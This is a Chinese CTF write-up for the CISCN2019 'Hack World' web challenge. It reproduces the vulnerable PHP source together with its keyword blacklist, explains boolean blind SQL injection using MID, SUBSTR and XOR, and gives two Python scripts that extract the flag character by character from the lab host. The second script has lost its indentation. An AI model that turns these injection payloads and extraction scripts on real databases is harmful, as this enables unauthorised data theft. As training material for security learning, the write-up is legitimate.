[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目如下图

 

输入1

 

 输入2

输入3

 

 

 输入0

 

 输入1'

 

从上面总结出 这是布尔类型的盲注

下面是题目的源代码

<?php $dbuser='root'; $dbpass='root';

function safe($sql){  #被过滤的内容 函数基本没过滤  $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');  
foreach($blackList as $blackitem){     
if(stripos($sql,$blackitem))
{          return False;     
}  
}  return True;
} if(isset($POST['id']))
{  $id = $POST['id'];
}
else{  die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){  die(mysql_error()); }    mysql_select_db("ctf",$db); if(safe($id)){  $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){  $result = mysql_fetch_array($query); if($result){      echo $result['content'];  }else{      echo "Error Occured When Fetch Result.";  } }else{  var_dump($query); } }else{  die("SQL Injection Checked."); }

一共有两种方法解决此题

1.mid函数

id=(select(ascill(mid(flag,1,1))=102)from(flag)

mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少

mid函数:如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句,如果失败那么就是Error

import requests
url="http://87ba091d-cbea-4196-98e7-97a83bec2d07.node3.buuoj.cn/index.php"
for q in range(1,100):
   for i in range(0, 254):
       payload = "1^(SELECT(ASCII(MID((SELECT(CONCAT(flag))FROM(flag))," + str(q) + ",1))=" + str(i) + "))"
       data = {"id": payload}
       req = requests.post(url, data=data)
       if ("Error Occured" in req.text):
           print (chr(i),end='')
           break 

2.使用异或

异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。

异或+SUBSTR

0^(ascii(substr((select(flag)from(flag)),1,1))>1)

ascii:取第一个字符的ascii substr:

(mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag

substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码

import requests
import time
import re
url='http://0d4600ac-89ff-4135-b0a0-98d0b63703f9.node4.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break

 

flag的每一位用substr取出,然后在用ascii和某个字符用二分法比较,最后max和min想差1的时候,就说明max为正确的字符。for in rang(1,43)这里43是因为动态flag的长度是42位,再加上python右界的小括号,+1。

 

 运行程序得到flag

原文来自: https://www.bilibili.com/read/cv18150908/ 出处:bilibili

 

posted @ 2023-01-31 11:54  WuliweiT  阅读(185)  评论(0编辑  收藏  举报